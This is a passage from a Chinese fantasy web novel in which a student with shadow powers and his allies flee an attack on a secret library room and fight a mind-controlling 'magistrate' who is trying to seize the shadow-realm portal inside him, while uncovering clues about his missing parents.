“你做梦!”林悦的雷矛瞬间凝聚,带着金色的电流直刺投影。但雷矛穿过投影的瞬间,就像投入水中的石子,只激起一圈微弱的涟漪,然后便消散在空气中。
“徒劳的反抗。”判官的声音里带着一丝轻蔑,“费勇,好好考虑。三个月后,我在影石阵等你。记住,不要试图逃避,影石的共鸣会让我们找到彼此,无论你躲到天涯海角。”
投影开始变得透明,像融化的冰雕。在彻底消失前,费勇似乎看到那双幽蓝的眼睛转向了自己的影子,闪过一丝复杂难辨的情绪,像是贪婪,又像是……忌惮?
随着投影的消失,笼罩天地的压迫感也随之散去。山林里的虫鸣重新响起,风吹过树叶的沙沙声显得格外清晰。但没有人说话,刚才判官的话语像一块巨石,沉甸甸地压在每个人的心头。
“城际监狱……”林悦率先打破沉默,她的手指无意识地摩挲着战术靴上的徽章,那是她父亲留给她的遗物,“那里是特调科与裁决会合作的灰色地带,难怪我们一直查不到影石阵的线索。”
苏清月的藤蔓轻轻颤抖,她抬头看向费勇,眼神里带着担忧:“他说的影界……会不会和你影子里的能量有关?”
费勇没有回答,他正低头盯着自己的影子。刚才判官投影消失的瞬间,影子里的五块影石碎片突然加速旋转,金色纹路交织成一张复杂的网。
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随着碎片的高速转动,影子的中央竟然出现了一个小小的黑色漩涡,像一只正在缓缓睁开的眼睛,里面翻涌着纯粹的黑暗。
“这是……”夏艳玲好奇地伸出手指,想去触碰那个漩涡,却被费勇一把拉住。
“别碰!”费勇的声音有些沙哑,他能感觉到漩涡里传来的强大吸力,那是一种比他的暗影能量精纯百倍、也危险百倍的力量,像一头蛰伏在深渊里的巨兽,正蠢蠢欲动。
风行者走到他身边,难得地收起了桀骜的表情,眼神凝重地看着那个黑色漩涡:“影界的入口……比预计的提前显现了。”
“你知道这是什么?”费勇惊讶地看向他。
风行者点点头,从风衣口袋里掏出一块巴掌大的黑色晶体,里面封存着一缕微弱的暗影能量:“老鬼让我给你的,他说当影界入口显现时,这块‘影界结晶’能暂时压制它的活性。”他将晶体递给费勇,“这是破晓的前辈用生命换来的,能让你在三个月内不受影界能量的侵蚀。”
费勇接过晶体,触手冰凉。当晶体接触到他的影子时,黑色漩涡突然剧烈收缩,像被什么东西吓到似的,瞬间缩小了一半,翻涌的黑暗也变得温顺了许多。影石碎片的旋转速度逐渐放缓,金色纹路重新变得稳定。
“三个月……”费勇握紧手中的晶体,指节微微发白。他看向身边的伙伴们——林悦紧抿着嘴唇,眼神里燃烧着不屈的火焰;苏清月的藤蔓轻轻缠绕上他的手腕,传递着无声的支持;夏艳玲把布娃娃塞进他手里,小脸上带着一种与年龄不符的坚定。
他知道,这场由影石和十年前的阴谋引发的风暴,已经不可能再逃避。三个月后的影石阵,将是他与判官,与裁决会,与那段被尘封的过往,做个了断的战场。
“我们回去。”费勇深吸一口气,将布娃娃还给夏艳玲,眼神重新变得锐利,“需要准备的事情,还有很多。”
风行者点点头,扛起还在昏迷的血手:“老鬼在基地准备了分析设备,或许能从这家伙的记忆里,挖出更多关于影石阵的情报。”
林悦掏出通讯器,开始联系特调科的线人:“我去查城际监狱的结构图,还有裁决会在那里的布防。”
苏清月的藤蔓轻轻拂过费勇影子里的黑色漩涡,绿色的能量与黑色的暗影交织,泛起一圈和谐的涟漪:“我会研究影界能量的特性,或许能找到克制它的方法。”
夏艳玲拉了拉费勇的衣角,仰着小脸认真地说:“娃娃说,到时候它会帮我们的。”
费勇看着他们忙碌的身影,心里那沉甸甸的压迫感突然减轻了许多。他低头看了眼影子里那个缩小的黑色漩涡,五块影石碎片在漩涡周围安静地旋转,像五颗守护的星。
或许,判官说得对,影石的共鸣会让他们找到彼此。但他忘了,除了影石的共鸣,他们还有彼此的羁绊——这或许才是面对影界和裁决会时,最强大的力量。
第61章:影界入口的异动
回到星海学院时天已微亮,晨雾像薄纱裹着教学楼,费勇把夏艳玲交给宿舍管理员照看,转身往图书馆走。影子里的黑色漩涡还在缓缓旋转,风行者给的影界结晶贴在手机壳后面,隔着布料都能感觉到丝丝凉意,像块冰贴着皮肤。
“哟,这不是‘影石持有者’吗?彻夜不归,是去和裁决会约会了?”
林悦靠在图书馆门口的梧桐树上,警服外套搭在肩上,袖子挽到肘部,露出小臂上还没消退的电流灼伤——那是昨晚对抗判官投影时留下的。她脚边扔着个保温杯,里面的豆浆冒着热气,显然等了有阵子了。
费勇没心思跟她斗嘴,掏出手机调出昨晚拍的黑色漩涡照片:“你看这个。”
林悦的表情瞬间凝重起来,手指在屏幕上放大漩涡的纹路:“这是……空间裂隙?特调科的古籍里提过,高阶暗影异能者失控时会出现类似现象,但没这么规整。”她突然抬头,目光锐利如电,“判官的投影是不是刺激到你了?”
“不止是刺激。”费勇掀起校服下摆,露出影子里若隐若现的金色纹路,“影石碎片在共鸣,好像有什么东西要从里面钻出来。”
话音刚落,图书馆的玻璃门突然“咔哒”响了一声。老鬼推着辆装满图书的手推车从里面出来,镜片后的眼睛在两人身上一扫,推着车往僻静的侧门走,路过时低声说:“三楼古籍区,302号书架。”
费勇和林悦对视一眼,默契地跟了上去。
古籍区弥漫着旧纸张特有的霉味,阳光透过高窗斜斜切进来,在地板上投下格子状的光斑。302号书架藏在最里面,架上摆着些封面泛黄的线装书,老鬼正蹲在地上,用软布擦拭着书架底部的暗纹——那纹路竟和费勇影子里的影石纹路一模一样。
“这书架有问题。”林悦掏出随身携带的金属探测器,探头刚靠近书架,屏幕就疯狂闪烁,发出刺耳的蜂鸣,“有强烈的能量反应,和裁决会的暗能探测器反应相似,但更……古老。”
老鬼直起身,从怀里掏出个黄铜钥匙,钥匙柄上刻着复杂的星图:“这是破晓的安全屋入口,本来不该让特调科的人知道,但现在情况紧急。”他把钥匙**书架侧面的锁孔,轻轻一拧,书架竟像门一样向内滑开,露出后面的暗道,“进来吧,影界入口异动的事,得从十年前说起。”
暗道里比外面凉得多,墙壁上嵌着荧光石,照亮一条向下的石阶。走了约莫百十米,眼前豁然开朗——这是间几十平米的密室,四周货架上摆满了档案盒,中央的长桌上摊着幅巨大的地图,上面用红笔圈着十几个地名,雾隐山和城际监狱都在其中。
“影界不是自然形成的空间。”老鬼从货架上取下个标着“觉醒潮档案”的盒子,抽出里面的泛黄报告,“十年前那场异能觉醒潮,其实是判官他们人为引发的,目的是强行打开影界,掠夺里面的暗影本源。”
费勇的影子突然剧烈晃动,黑色漩涡里翻涌出更多暗影能量,在地面上凝成几个模糊的字:“父亲……陷阱……”
“你能看懂这些?”老鬼惊讶地看着他,“影界能量里混着强烈的意识碎片,只有血脉相关的人才能解读。”他顿了顿,语气沉重,“你父亲当年就是破晓的核心成员,负责阻止判官的计划,最后却……”
费勇的手指攥得发白,指甲嵌进掌心。他一直以为父母是失踪,原来竟和这影界有着千丝万缕的联系。影子里的黑色漩涡旋转得更快了,隐约能听到里面传来细碎的说话声,像是无数人在同时低语。
“这些低语是影界里的残魂。”老鬼叹了口气,“当年判官打开影界裂缝时,有太多异能者被吸了进去,他们的意识被困在里面,成了暗影本源的养料。现在入口异动,就是因为判官在加速影石阵的启动,想彻底吞噬这些残魂,强化自己的力量。”
林悦突然按住耳麦,眉头紧锁:“特调科监测到城西出现能量**,是裁决会的执法者,他们在……销毁十年前的觉醒者档案!”
“调虎离山。”费勇立刻反应过来,“他们想引我们去城西,趁机对这里动手。”他看向老鬼,“密室有防御措施吗?”
老鬼指了指墙壁上的符文:“能挡住普通执法者,但拦不住审判长级别的人物。”他从抽屉里拿出个黑色手环递给费勇,“这是暗影抑制器,能暂时压制影界入口的能量波动,避免被判官感知到。”
费勇刚戴上手环,影子里的黑色漩涡就收缩了不少,低语声也淡了下去。他正想再说些什么,突然感到手腕一凉,低头看去——苏清月的藤蔓不知何时缠上了他的手腕,叶片上还沾着晨露。
“清月?”费勇惊讶地抬头,苏清月正站在石阶口,脸色有些苍白,“你怎么来了?”
“青禾堂的古籍记载,影界入口异动时,生命能量能安抚它。”苏清月的藤蔓轻轻拂过他的影子,带来淡淡的绿光,“我感应到你这边能量紊乱,就赶过来了。”她从药箱里拿出个青瓷瓶,倒出三粒碧绿色的药丸,“这是凝神丹,能稳定异能者的能量,你们……”
话没说完,密室的石门突然剧烈震动,外面传来金属扭曲的刺耳声响。林悦瞬间进入戒备状态,指尖跃动着蓝色的电流:“是空间切割的声音,是审判长!”
老鬼迅速把桌上的地图和档案塞进防火袋:“费勇,你带清月从密道走,去青禾堂找堂主,他知道影界的更多秘密。林警官,麻烦你和我断后。”
“我不走。”费勇按住腰间的影石碎片,影子在脚下缓缓蔓延,“现在走了,这些档案和线索怎么办?”
“你留着才是麻烦!”林悦急道,“你的影子就是最大的目标,判官巴不得你留在这里!”
石门“哐当”一声被撕开个裂口,银色的空间碎片像刀片般飞进来。老鬼迅速启动防御符文,金色的光罩挡住碎片,却被震
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得剧烈摇晃。裂缝外传来审判长阴冷的笑声:“费勇,把影石交出来,我可以让你死得痛快点。”
费勇的影子突然不受控制地暴涨,黑色漩涡里翻涌出浓郁的暗影能量,在他身后凝成一道模糊的人形——那影子的轮廓,竟和他本人有七八分相似。
“这是……”老鬼失声惊呼,“暗影具象化!你竟然能做到这一步?”
“我不知道。”费勇感到体内的能量在疯狂流失,却有种奇异的掌控感,“它好像在保护我。”
暗影人形突然动了,伸出漆黑的手掌抓住飞进来的空间碎片,轻轻一捏就碎成了光点。审判长的笑声戛然而止,显然也没料到会出现这种变故。
“快走!”老鬼推了费勇一把,“这是你父亲留在你体内的暗影本源在护主,撑不了多久!”
苏清月的藤蔓缠住费勇的腰,拉着他往密道入口退:“我跟你一起走,青禾堂的古籍或许能帮你掌控这股力量。”
林悦已经冲出光罩,指尖雷矛凝聚:“别让我在特调科的报告里写‘某异能者因逞英雄牺牲’,赶紧滚!”
费勇最后看了眼奋力抵挡的林悦和老鬼,又低头看了看自己暴涨的影子。暗影人形转过头,用一种不属于他的、沉厚的声音说:“三个月后……影石阵……不要信灯塔……”
话音未落,暗影人形就化作黑烟缩回了他的影子里。费勇浑身一震,这声音……和昨晚梦中听到的一模一样!
“走!”他不再犹豫,跟着苏清月钻进密道。身后,石门破碎的巨响和电流**声交织在一起,像在为他们的逃亡敲响警钟。
密道尽头连着学校的人工湖,费勇和苏清月从水底钻出来时,晨雾刚好散去。阳光洒在湖面,碎成一片金箔,费勇摸了摸手腕上的暗影抑制器,影子里的黑色漩涡安静了许多,但那句“不要信灯塔”的警告,却像烙印般刻在了脑海里。
“灯塔是谁?”苏清月帮他擦掉脸上的水珠,担忧地看着他,“你刚才的状态很危险。”
费勇摇头,他也不知道答案。但他清楚,从暗影人形开口的那一刻起,这场关于影石和影界的博弈,已经不再只是为了对抗裁决会——他必须查清父亲留下的谜团,还有那句警告背后的真相。
他抬头望向图书馆的方向,那里已经升起了黑烟。林悦和老鬼应该安全撤离了吧?这个念头刚冒出来,口袋里的手机就震动了一下,是林悦发来的消息:【别回头,查“灯塔计划”,特调科档案库有线索。】
费勇握紧手机,和苏清月对视一眼。阳光穿过她的发梢,在他手背上投下细碎的光斑,像撒了把星星。
“去青禾堂。”他说,“我们得快点变强,比判官更快。”
苏清月点点头,藤蔓在两人脚下凝聚成一片绿叶平台,载着他们往城西飞去。风从耳边掠过,费勇低头看向自己的影子,黑色漩涡里,似乎有什么东西正在缓缓苏醒。
第62章:图书馆的秘密
青禾堂的木门藏在老城区的巷弄深处,门楣上挂着块褪色的木牌,"悬壶济世"四个字被岁月磨得只剩浅浅的刻痕。苏清月推开木门时,铜环碰撞的脆响惊飞了檐下的麻雀,几只信鸽扑棱着翅膀从院内飞出,鸽腿上的金属管在阳光下闪着微光——那是异能者之间传递情报的暗号。
"苏丫头,你可算回来了。"药香弥漫的天井里,个穿藏青色对襟褂子的老者正蹲在石臼前捣药,银发在晨光里泛着霜色。他抬起头,浑浊的眼睛在看到费勇时突然亮了亮,"这位就是费勇小友吧?"
费勇刚要说话,影子里的黑色漩涡突然轻轻震颤。老者放下药杵,从怀里掏出个牛皮纸包,解开时露出本蓝布封皮的笔记,封面上用朱砂画着个奇特的符号——竟和他影子里的影石纹路如出一辙。
"青禾堂代代相传,这本笔记要交给能让影石共鸣的人。"老者把笔记推到费勇面前,指节上的老茧蹭过纸面,"你母亲当年留下的东西,终于能物归原主了。"
费勇的手指猛地收紧。母亲?他从未想过能以这种方式听到关于母亲的消息,喉咙像被什么堵住,半天只挤出句:"她...也是异能者?"
"不仅是异能者,还是青禾堂最出色的生命能量研究员。"老者叹了口气,从药柜里取出个青瓷罐,倒出些褐色的粉末撒在石臼里,"十年前那场觉醒潮,她发现判官的计划不仅要打开影界,还要用普通人的生命能量当''燃料'',就偷偷记录下了所有证据。"
苏清月突然按住费勇的手,指尖点在笔记某页的水渍上:"这是''情绪核心''的能量残留。"她的藤蔓轻轻缠上笔记,叶片泛起淡淡的红光,"上面有夏艳玲的气息,还有...另一种很像你的暗影能量。"
费勇翻开笔记,泛黄的纸页上除了密密麻麻的公式,还夹着张褪色的合影。照片里的女人抱着个襁褓中的婴儿,眉眼间竟和苏清月有几分相似,她身边站着的男人穿着件黑色风衣,侧脸的轮廓让费勇心脏猛地一跳——那分明是他在暗影人形里看到的轮廓!
"这是你父母。"老者的声音带着怅然,"你父亲当年化名''灯塔'',是破晓对抗裁决会的主力。他们把你托付给远亲后,就再也没回来过。"
"灯塔..."费勇喃喃道,影子里的黑色漩涡突然翻涌起来,笔记上的字迹开始扭曲,像活过来般重组,最终凝成行血字:"灯塔计划=影界钥匙,用情绪核心激活"。
与此同时,图书馆的废墟上正腾起呛人的烟尘。林悦拄着根变形的钢筋站起来,警服的袖子被划开道长长的口子,露出渗血的伤口。老鬼蹲在片狼藉中,手指抚过块沾着黑血的影石碎片,镜片后的眼睛眯成条缝:"这碎片的能量波动很奇怪,像是被人刻意掰断的。"
"奇怪的是审判长。"林悦甩了甩发麻的手臂,刚才那记空间切割明显留了手,否则她的胳膊早就和旁边的书架一样断成两截,"他明明能杀了我们,却非要把我们往东边赶。"
老鬼突然按住碎片,异能"信息镜像"发动,碎片上浮现出串模糊的画面:血手跪在判官面前,手里举着块完整的影石;影石突然炸开,第五块碎片化作道黑光射向...费勇的影子?
"不好!"老鬼猛地站起来,"审判长的目标不是碎片,是费勇体内的暗影本源!他故意放我们走,是想通过我们的行踪定位费勇!"
话音未落,林悦的通讯器突然发出刺耳的电流声,屏幕上跳出行乱码,几秒钟后自动转换成段文字:"精神控制系审判长已锁定目标,坐标城西青禾堂。"
青禾堂内,费勇正盯着笔记上的血字出神,突然感到后脑勺一阵刺痛。他猛地转头,看到院墙上不知何时站着个穿白大褂的男人,对方脸上戴着副金丝眼镜,镜片后的眼睛泛着诡异的紫色——那是精神控制系异能者特有的能量波动。
"费勇小友,别来无恙。"白大褂推了推眼镜,声音像浸过冰水,"判官大人很欣赏你,特意让我来''请''你去影石阵做客。"
费勇的影子瞬间暴涨,黑色漩涡里翻涌出暗影能量,在身前凝成面厚实的影盾:"审判长亲自登门,真是好大的面子。"
"没办法,谁让你是''灯塔''选定的继承人呢。"白大褂轻笑一声,指尖弹出几道紫色的精神丝线,像毒蛇般缠向费勇的影子,"不过我很好奇,当你知道灯塔计划的真相时,还会不会这么护着他?"
苏清月的藤蔓突然从地下钻出,绿色的枝条带着治愈能量缠住精神丝线,发出滋滋的灼烧声:"费勇,别听他胡说!"她的额头渗出细密的汗珠,显然对抗精神控制对她消耗极大。
老者突然抓起药杵掷向白大褂,同时对费勇喊道:"带笔记从后院密道走!那里面有你母亲留下的生命能量库,能暂时屏蔽精神追踪!"
白大褂侧身躲过药杵,镜片后的紫色瞳孔骤然收缩:"敬酒不吃吃罚酒。"他抬手一挥,无数道精神丝线从指尖射出,像张巨网罩向整个院子。
费勇突然抓住苏清月的手,影子化作道黑色的披风将两人裹住:"清月,抓紧了!"他发动影遁,带着苏清月穿过精神丝线的缝隙,冲向老者所说的后院。
穿过月亮门的瞬间,费勇回头望了一眼,看到老者用身体挡
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住精神丝线,藏青色的褂子被撕裂,露出后背纵横交错的伤疤——那些伤疤的形状,竟和影石的纹路完全吻合。
后院的老槐树下藏着块松动的青石板,费勇掀开石板,下面露出个仅容一人通过的暗道。他把笔记塞进怀里,刚要钻进去,突然感到影子一阵剧痛——白大褂的精神丝线竟然穿透了影遁的防御,缠上了他的影子!
"抓到你了。"白大褂的声音从头顶传来,带着胜券在握的得意,"你以为躲进密道就能逃掉?精神控制可是能穿透任何物理屏障的。"
费勇的眼前突然闪过无数混乱的画面:母亲在实验室里流泪;父亲戴着面具指挥破晓成员;判官站在影石阵中央,手里举着块沾血的玉佩...这些画面像碎玻璃般扎进脑海,疼得他几乎晕厥。
"费勇!"苏清月突然咬破舌尖,用疼痛唤醒费勇的意识,同时将大量生命能量注入他的影子,"用笔记上的方法!情绪核心能克制精神控制!"
费勇猛地回过神,掏出笔记翻到最后一页。那里夹着半块玉佩,和他之前得到的那块刚好能拼在一起。当两块玉佩合二为一的瞬间,突然爆发出耀眼的绿光,院子里的药草疯狂生长,藤蔓像有了生命般缠住精神丝线,将其一根根扯断。
白大褂惊讶地后退一步,镜片后的紫色瞳孔闪过一丝慌乱:"生命能量库...你们竟然激活了它!"
费勇趁机拉着苏清月钻进暗道,在石板合上的最后一刻,他听到白大褂发出一声愤怒的嘶吼,紧接着是老者爽朗的笑声,以及...藤蔓缠绕的沙沙声。
暗道里一片漆黑,只有笔记上的玉佩散发着微弱的绿光。费勇握紧苏清月的手,能感觉到她在微微颤抖——不是因为害怕,而是因为激动。
"你母亲的研究成功了。"苏清月的声音带着哭腔,"生命能量真的能克制精神控制,就像古籍里记载的那样!"
费勇低头看向手里的玉佩,绿光透过指缝洒在影子上,黑色漩涡里竟泛起一圈柔和的绿色涟漪。他突然明白老者最后那个眼神的意思——有些真相,需要用勇气去面对,哪怕那真相可能会颠覆所有认知。
"我们得找到林悦和老鬼。"费勇加快脚步,玉佩的绿光在前方照亮一条通路,"审判长的话虽然不可信,但关于灯塔计划的事,一定有我们不知道的隐情。"
苏清月点点头,藤蔓从袖中探出,轻轻缠绕上费勇的影子:"不管真相是什么,我们一起面对。"
绿光在暗道尽头汇聚成一扇光门,费勇能感觉到门后传来熟悉的电流波动——那是林悦的异能气息。他深吸一口气,推开那扇由光组成的门,准备迎接下一场挑战。
第63章:影子的预警
暗道尽头的光门后是片废弃的地下停车场,空气里弥漫着机油和潮湿混合的怪味。费勇刚推开光门,就被道刺眼的电光晃了眼——林悦正举着根缠着电弧的钢筋站在车旁,警服上的血迹已经凝固成暗红色,看到费勇时,紧绷的肩膀明显松了松。
"你俩再晚来半分钟,我就要把这破地方炸了。"林悦甩了甩钢筋上的火花,电弧噼啪作响照亮她眼底的红血丝,"老鬼在那边破解裁决会的加密系统,说是能找到审判长的下一步计划。"
费勇刚要说话,影子突然像被针扎似的猛地抽搐。这种刺痛和之前精神控制的钝痛完全不同,尖锐得像是有无数细针在影子里游走,顺着脊椎直窜头顶。他踉跄着扶住车盖,视线不受控制地扫向停车场东侧的立柱——那里的阴影里,三团模糊的影子正贴着地面蠕动。
"东边立柱后有三个执法者。"费勇的声音因为刺痛有些发颤,他死死盯着那片阴影,能感觉到影子里传来的异能波动,像是裹着沙子的风,"精神力很强,比之前遇到的都要..."
"别神神叨叨的。"老鬼的声音从临时搭起的电脑前传来,他头也不抬地敲着键盘,屏幕蓝光映得他皱纹里都是疲惫,"我刚扫过全场,除了我们没别人——"
话没说完,东侧立柱突然传来金属扭曲的闷响。三个穿着校服的年轻人从阴影里走出来,脸上还带着未脱的稚气,但眼睛里毫无神采,校服领口露出的皮肤上,都印着裁决会特有的黑色印记。为首的男生抬手按在立柱上,指尖接触的地方瞬间结出层白霜——那是力量强化系异能者的特征,只是这能量波动明显被某种装置放大过。
老鬼的手指在键盘上顿住,猛地转头看向费勇,镜片后的眼睛瞪得溜圆:"你怎么知道?"
"我的影子..."费勇咬着牙稳住身形,那阵刺痛还在持续,但他隐约摸到了规律——执法者的影子每动一下,他的影子就跟着抽痛,像是某种频率共振,"它能感觉到他们的异能波动。"
林悦已经举着钢筋冲了过去,电弧在她身后拉出残影:"管他怎么知道的,先打了再说!"
"别硬拼!"费勇突然喊道,他发现那三个执法者的影子很奇怪——正常异能者的影子会随着异能流动,而他们的影子却像被冻住的死水,边缘泛着圈灰黑色的光晕,"他们身上有异能抑制器!"
话音未落,为首的男生已经一拳砸向地面,水泥地裂开蛛网般的纹路,飞溅的碎石被层无形的屏障挡住——是能量护盾。林悦的电弧撞在护盾上,只激起阵微弱的涟漪,反而被反弹的能量震得后退两步。
"高阶异能者才有的感知能力..."老鬼突然喃喃道,他手指翻飞调出监控画面,屏幕上执法者的热成像图里,心脏位置都有个跳动的红点,"那是审判长的精神控制芯片!他们被远程操控了,本体意识还在..."
费勇的影子突然不再刺痛,转而变得滚烫。他看着那三个执法者麻木的脸,突然想起图书馆里那些被撕碎的旧报纸——上面报道过十年前失踪的学生,照片里的笑脸和眼前这三张脸隐隐重合。
"不能伤他们。"费勇抓住林悦的手腕,影子顺着钢筋爬上去,在她手背上凝成道黑色的护腕,"他们是被控制的普通人。"
林悦刚要反驳,就看到为首的男生突然剧烈抽搐,嘴角溢出白沫,眼睛里闪过丝清明,又迅速被空洞取代。她电弧骤收,钢筋"当啷"掉在地上:"这群混蛋连学生都不放过!"
费勇没再说话,他集中精神去感受那阵刺痛的源头。影子里的黑色漩涡开始旋转,将那些游走的细针般的痛感转化成清晰的定位——三个执法者的影子根部,都连着根极细的黑色丝线,丝线尽头通向停车场的通风管道。
"他们的影子被连着通风管。"费勇突然扯过林悦的钢筋,影子顺着金属蔓延,在地面织成张黑色的网,"老鬼,能不能切断精神控制信号?"
"正在试!"老鬼敲键盘的手指快得出现残影,屏幕上的数据流疯狂滚动,"但对方用了量子加密,我需要时间——"
通风管突然传来阵刺耳的摩擦声,道紫色的精神丝线从格栅里串出来,直刺费勇的影子。他早有准备,影子猛地暴涨将众人护在后面,丝线撞在影盾上,激起片黑雾。
"找到你了,暗影容器。"审判长的声音从通风管里传来,带着令人牙酸的笑意,"没想到你能觉醒影子预警,不过这能力现在可是催命符..."
费勇突然抓住机会,趁着精神丝线撞在影盾上的瞬间,操控地面的黑影网猛地收紧。那三张属于执法者的影子被网住的刹那,通风管里传来声闷哼——精神控制是双向连接,影子被束缚,操控者也会受到反噬。
"就是现在!"老鬼突然大喊,屏幕上弹出个红色的破解成功提示,"信号**扰了,他们还有30秒清醒时间!"
林悦瞬间反应过来,电弧重新缠绕钢筋,却不是攻击而是防御,在执法者周围布下道电网:"清月,准备净化!"
苏清月的藤蔓早已顺着地面蔓延,此刻突然破土而出,绿色的枝条裹着微光缠上三个执法者的手
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腕。当藤蔓接触到他们皮肤上的黑色印记时,印记像雪遇热般开始融化,露出下面青紫的血管。
"快想想你们最在意的事!"苏清月的声音带着急促的喘息,生命能量顺着藤蔓注入,"用情绪对抗精神控制!"
为首的男生在电网里剧烈挣扎,眼睛里的空洞渐渐被泪水取代,他喃喃着"妈妈的红烧肉",校服口袋里掉出张揉皱的全家福。另外两个女生也跟着哭喊起来,个喊着未完成的画作,个念着篮球队友的名字——这些鲜活的情绪像利剑,刺破了审判长的精神禁锢。
通风管里传来审判长气急败坏的怒吼,紫色精神丝线疯狂抽打影盾,整个停车场都在震颤。费勇死死撑着影盾,感觉影子像要被撕裂,那阵刺痛已经变成烧灼般的剧痛,但他不敢松手——还有5秒。
"3...2..."老鬼盯着屏幕倒数,手指已经按在自爆程序的按钮上。
最后1秒,三个执法者身上的黑色印记彻底消失。林悦猛地撤掉电网,苏清月的藤蔓将他们拉到车后。费勇同时收起影盾,和林悦对视眼——她瞬间明白他的意图,电弧猛地击中通风管的格栅!
剧烈的**从通风管传来,火焰裹挟着碎石喷涌而出。费勇趁机发动影遁,带着众人钻进老鬼早就备好的逃生通道。通道门关上的瞬间,他听到身后传来审判长愤怒的咆哮,却带着丝不易察觉的慌乱。
逃生通道里只有应急灯微弱的光芒,三个学生还在瑟瑟发抖,苏清月正给他们喂下安神的药剂。老鬼瘫坐在台阶上,从怀里掏出个瘪了的烟盒,抖出最后根烟却没点燃。
"你那影子预警..."老鬼把烟叼在嘴里,含糊不清地问,"是高阶暗影异能者才有的能力,说明你的暗影重构已经开始进化了。"
费勇低头看着自己的影子,刚才的刺痛消失后,留下种奇异的麻痒感,像是有什么东西正在觉醒。他想起审判长说的"暗影容器",又想起母亲笔记里的血字,突然觉得这能力或许不只是预警那么简单。
林悦突然踹了脚旁边的铁箱,电弧溅在箱壁上噼啪作响:"别光顾着研究能力,刚才那三个学生说,审判长在找个叫''701''的研究所旧址,说是藏着能强化精神控制的装置。"
"701研究所..."费勇的影子突然又开始轻轻震颤,这次不是刺痛,而是种熟悉感,像是在哪里听过这个名字。他翻出母亲的笔记,在最后页的角落里,发现用铅笔写着行小字:701,情绪核心,失控点。
老鬼的烟掉在了地上。
第64章:暗门后的修炼法
老鬼的信息风暴像把无形的巨锤,撞得通风管发出丧钟般的嗡鸣。费勇被他拽着冲进暗门时,还能听到身后审判长气急败坏的嘶吼,紫色精神丝线撞在门扉上,激起的冲击波让整个通道都在摇晃。
“抓紧了!”老鬼反手拧动门把上的暗纹,青铜锁芯发出齿轮咬合的脆响。随着“咔哒”一声,门后的空间突然传来能量流动的呼啸,费勇感觉影子里的黑色漩涡像是找到了归宿,疯狂地吸收着周围的能量。
这是间约莫二十平米的石室,墙壁上刻满了银白色的纹路,细看竟全是由影石碎片的图案组成的——有的像飞鸟,有的像游鱼,最后都汇入地面中央的圆形阵图,像条沉默的星河。最奇特的是这里的光线,明明没有光源,却能看清一切,所有物体的影子都比正常情况下淡了一半,贴在地面上微微发颤。
“这是破晓的初代修炼室。”老鬼喘着粗气靠在门上,手忙脚乱地用符纸贴住缝隙,“当年你父亲就是在这里突破的暗影重构……”
费勇的注意力全被石室中央的石台吸引了。那是块通体漆黑的石头,表面光滑得能照出人影,上面放着本线装手册,封面已经泛黄发脆,“暗影重构术”五个篆字却像活的一样,在纸上微微发光。他伸手去拿时,指尖刚碰到纸页,影子突然剧烈翻涌,黑色漩涡里飞出几道金线,像小蛇般缠上手册。
“别硬扯!”老鬼急忙按住他的手腕,指腹蹭过手册封面的纹路,“这手册认主,只有暗影本源的继承者能翻开——你看这里。”他指着封面角落的小印记,那是个灯塔形状的刻痕,和费勇影子里偶尔闪过的纹路一模一样。
费勇深吸一口气,集中精神去感受影子的流动。当黑色漩涡的转速和手册上的发光纹路同步时,纸页终于“哗啦”一声自动翻开。第一页的字迹力透纸背,墨迹里似乎混着金粉,在光线下闪烁着奇异的光泽:
“暗影非死物,乃万物之影,可聚可散,可实可虚……”
他越看心越沉。手册里详细记载着暗影重构的进阶方法,从影刃的形态变化到影遁的距离掌控,甚至还有如何通过影子复制异能时减少反噬——那些都是他之前摸索时遇到的瓶颈,此刻像被人点透了窗户纸,豁然开朗。
“看到这里了吗?”老鬼指着其中一页的插图,上面画着个模糊的人形,周身被黑色能量包裹,脚下的影子延伸出无数触须,“这就是影界领域,高阶暗影异能者的标志。”
费勇的指尖停在插图下方的注解上:“吞噬影界能量,以自身影子为引,布下领域者,可控方圆十丈暗影,压制敌术,洞见虚实……代价:每次动用,影子需献祭三成能量,过度则魂归影界。”
“献祭影子?”苏清月的声音从门口传来,她扶着刚苏醒的三个学生站在那里,藤蔓在掌心凝成个绿色的光球照明,“那不是等于在消耗生命力吗?”
老鬼的脸色沉了沉:“异能越强,代价越大。当年你父亲为了阻止判官,强行开启过三次影界领域,影子差点彻底消散。”他突然咳嗽起来,捂着胸口直皱眉,“这也是为什么……他现在需要借助灯塔计划恢复力量。”
费勇翻页的手指猛地顿住。灯塔计划——母亲笔记里的血字突然在脑海里炸开。他加快速度往后翻,想找到关于计划的线索,却在最后几页发现了撕裂的痕迹。残存的纸页边缘还留着几个模糊的字,像是被人刻意撕毁的:
“禁忌:与情绪核心共鸣会导致……影魂……失控……”
“情绪核心?”费勇猛地抬头看向苏清月,“夏艳玲的异能?”
话音未落,石室突然剧烈震动。墙壁上的银白色纹路开始褪色,渗出粘稠的黑色液体,像石油般顺着石缝往下淌,落地时发出“滋滋”的声响,冒起阵阵黑烟。
“不好!是影界能量泄漏!”老鬼脸色骤变,从怀里掏出个铜铃摇晃起来,铃声清越,暂时逼退了那些黑色液体,“审判长的精神力穿透了防御,他在外面用精神控制强行干扰影界入口!”
费勇的影子突然传来针扎般的刺痛,比在停车场时强烈十倍。他低头看去,那些黑色液体在地面上汇聚,竟慢慢凝成了张人脸——金丝眼镜,紫色瞳孔,嘴角挂着熟悉的冷笑,正是审判长的模样。
“找到你们了,小容器。”液体人脸的嘴唇开合着,声音像是从水底传来,带着令人作呕的黏腻感,“以为躲进破晓的老巢就能安全?别忘了,影界能量可是会回应精神力的。”
黑色液体突然化作无数细针,射向费勇的影子。他急忙操控影子凝成盾牌,却被细针穿透了好几道口子,刺痛顺着影子爬上来,让他眼前发黑。
“别硬抗!”老鬼将铜铃塞给费勇,自己掏出几张符纸贴在墙上,“这铃铛能安抚影界能量,快用它稳住你的影子!”
费勇握紧铜铃,冰凉的金属触感让
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他稍微清醒。他摇晃铃铛,清越的铃声果然让影子的刺痛减轻了些。但液体人脸却笑得更得意了:“没用的,你以为701研究所为什么会成为情绪核心的失控点?因为那里……”
“闭嘴!”老鬼突然爆喝一声,周身爆发出强烈的白光,无数数据流从他指尖飞出,像把把小刀割向液体人脸,“信息风暴——第三形态!”
液体人脸发出刺耳的尖叫,被数据流搅得支离破碎。但那些黑色液体却没有消失,反而顺着地面爬向费勇的影子,像有生命般往漩涡里钻。
